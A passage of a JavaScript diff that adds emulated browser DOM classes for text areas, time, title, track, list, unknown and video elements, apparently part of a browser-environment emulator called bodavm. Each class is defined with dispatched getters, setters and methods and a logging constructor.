true, + enumerable: true, + get: function shadowRoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRoot_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "shadowRootMode", { + configurable: true, + enumerable: true, + get: function shadowRootMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRootMode_get", arguments); + }, + set: function shadowRootMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRootMode_set", arguments); + } +}, 'prototype'); +// HTMLTextAreaElement对象 + +bodavm.memory.globalobj['HTMLTextAreaElement'] = function HTMLTextAreaElement() { + console.log_copy('HTMLTextAreaElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTextAreaElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTextAreaElement'], "HTMLTextAreaElement"); +bodavm.memory.globalobj['HTMLTextAreaElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTextAreaElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "autocomplete", { + configurable: true, + enumerable: true, + get: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "autocomplete_get", arguments); + }, + set: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "autocomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "cols", { + configurable: true, + enumerable: true, + get: function cols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "cols_get", arguments); + }, + set: function cols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "cols_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "dirName", { + configurable: true, + enumerable: true, + get: function dirName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "dirName_get", arguments); + }, + set: function dirName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "dirName_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "maxLength", { + configurable: true, + enumerable: true, + get: function maxLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "maxLength_get", arguments); + }, + set: function maxLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "maxLength_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "minLength", { + configurable: true, + enumerable: true, + get: function minLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "minLength_get", arguments); + }, + set: function minLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "minLength_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "placeholder", { + configurable: true, + enumerable: true, + get: function placeholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "placeholder_get", arguments); + }, + set: function placeholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "placeholder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "readOnly", { + configurable: true, + enumerable: true, + get: function readOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "readOnly_get", arguments); + }, + set: function readOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "readOnly_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "required", { + configurable: true, + enumerable: true, + get: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "required_get", arguments); + }, + set: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "required_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "rows", { + configurable: true, + enumerable: true, + get: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "rows_get", arguments); + }, + set: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "rows_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "wrap", { + configurable: true, + enumerable: true, + get: function wrap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "wrap_get", arguments); + }, + set: function wrap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "wrap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "defaultValue", { + configurable: true, + enumerable: true, + get: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "defaultValue_get", arguments); + }, + set: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "defaultValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "textLength", { + configurable: true, + enumerable: true, + get: function textLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "textLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionStart", { + configurable: true, + enumerable: true, + get: function selectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionStart_get", arguments); + }, + set: function selectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionStart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionEnd", { + configurable: true, + enumerable: true, + get: function selectionEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionEnd_get", arguments); + }, + set: function selectionEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionEnd_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionDirection", { + configurable: true, + enumerable: true, + get: function selectionDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionDirection_get", arguments); + }, + set: function selectionDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionDirection_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "select", { + configurable: true, + enumerable: true, + writable: true, + value: function select() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "select", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setCustomValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setRangeText", { + configurable: true, + enumerable: true, + writable: true, + value: function setRangeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setRangeText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setSelectionRange", { + configurable: true, + enumerable: true, + writable: true, + value: function setSelectionRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setSelectionRange", arguments); + } +}, 'prototype'); +// HTMLTimeElement对象 + +bodavm.memory.globalobj['HTMLTimeElement'] = function HTMLTimeElement() { + console.log_copy('HTMLTimeElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTimeElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTimeElement'], "HTMLTimeElement"); +bodavm.memory.globalobj['HTMLTimeElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTimeElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTimeElement', "dateTime", { + configurable: true, + enumerable: true, + get: function dateTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTimeElement'].prototype, "HTMLTimeElement", "dateTime_get", arguments); + }, + set: function dateTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTimeElement'].prototype, "HTMLTimeElement", "dateTime_set", arguments); + } +}, 'prototype'); +// HTMLTitleElement对象 + +bodavm.memory.globalobj['HTMLTitleElement'] = function HTMLTitleElement() { + console.log_copy('HTMLTitleElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTitleElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTitleElement'], "HTMLTitleElement"); +bodavm.memory.globalobj['HTMLTitleElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTitleElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTitleElement', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTitleElement'].prototype, "HTMLTitleElement", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTitleElement'].prototype, "HTMLTitleElement", "text_set", arguments); + } +}, 'prototype'); +// HTMLTrackElement对象 + +bodavm.memory.globalobj['HTMLTrackElement'] = function HTMLTrackElement() { + console.log_copy('HTMLTrackElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTrackElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTrackElement'], "HTMLTrackElement"); +bodavm.memory.globalobj['HTMLTrackElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTrackElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "kind_get", arguments); + }, + set: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "kind_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "srclang", { + configurable: true, + enumerable: true, + get: function srclang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "srclang_get", arguments); + }, + set: function srclang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "srclang_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "label_get", arguments); + }, + set: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "label_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "default", { + configurable: true, + enumerable: true, + get: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "default_get", arguments); + }, + set: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "default_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +// HTMLUListElement对象 + +bodavm.memory.globalobj['HTMLUListElement'] = function HTMLUListElement() { + console.log_copy('HTMLUListElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLUListElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLUListElement'], "HTMLUListElement"); +bodavm.memory.globalobj['HTMLUListElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLUListElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLUListElement', "compact", { + configurable: true, + enumerable: true, + get: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "compact_get", arguments); + }, + set: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "compact_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLUListElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "type_set", arguments); + } +}, 'prototype'); +// HTMLUnknownElement对象 + +bodavm.memory.globalobj['HTMLUnknownElement'] = function HTMLUnknownElement() { + console.log_copy('HTMLUnknownElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLUnknownElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLUnknownElement'], "HTMLUnknownElement"); +bodavm.memory.globalobj['HTMLUnknownElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLUnknownElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +// HTMLVideoElement对象 + +bodavm.memory.globalobj['HTMLVideoElement'] = function HTMLVideoElement() { + console.log_copy('HTMLVideoElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLVideoElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLVideoElement'], "HTMLVideoElement"); +bodavm.memory.globalobj['HTMLVideoElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLMediaElement'].prototype; +bodavm.memory.globalobj['HTMLVideoElement'].__proto__ = bodavm.memory.globalobj['HTMLMediaElement']; +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "videoWidth", { + configurable: true, + enumerable: true, + get: function videoWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "videoWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "videoHeight", { + configurable: true, + enumerable: true, + get: function videoHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "videoHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "poster", { + configurable: true, + enumerable: true, + get: function poster() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "poster_get", arguments); + }, + set: function poster() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "poster_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDecodedFrameCount", { + configurable: true, + enumerable: true, + get: function webkitDecodedFrameCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDecodedFrameCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDroppedFrameCount", { + configurable: true, + enumerable: true, + get: function webkitDroppedFrameCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDroppedFrameCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "playsInline", { + configurable: true, + enumerable: true, + get: function playsInline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "playsInline_get", arguments); + }, + set: function playsInline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "playsInline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "onenterpictureinpicture", { + configurable: true, + enumerable: true, + get: function onenterpictureinpicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onenterpictureinpicture_get", arguments); + }, + set: function onenterpictureinpicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onenterpictureinpicture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "onleavepictureinpicture", { + configurable: true, + enumerable: true, + get: function onleavepictureinpicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onleavepictureinpicture_get", arguments); + }, + set: function onleavepictureinpicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onleavepictureinpicture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "disablePictureInPicture", { + configurable: true, + enumerable: true, + get: function disablePictureInPicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "disablePictureInPicture_get", arguments); + }, + set: function disablePictureInPicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "disablePictureInPicture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "cancelVideoFrameCallback", { + configurable: true, + enumerable: true, + writable: true, + value: function cancelVideoFrameCallback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "cancelVideoFrameCallback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "requestPictureInPicture", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPictureInPicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "requestPictureInPicture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "requestVideoFrameCallback", { + configurable: true, + enumerable: true, + writable: true, + value: function requestVideoFrameCallback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "requestVideoFrameCallback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitSupportsFullscreen", { + configurable: true, + enumerable: true, + get: function webkitSupportsFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitSupportsFullscreen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDisplayingFullscreen", { + configurable: true, + enumerable: true, + get: function webkitDisplayingFullscreen() { + return 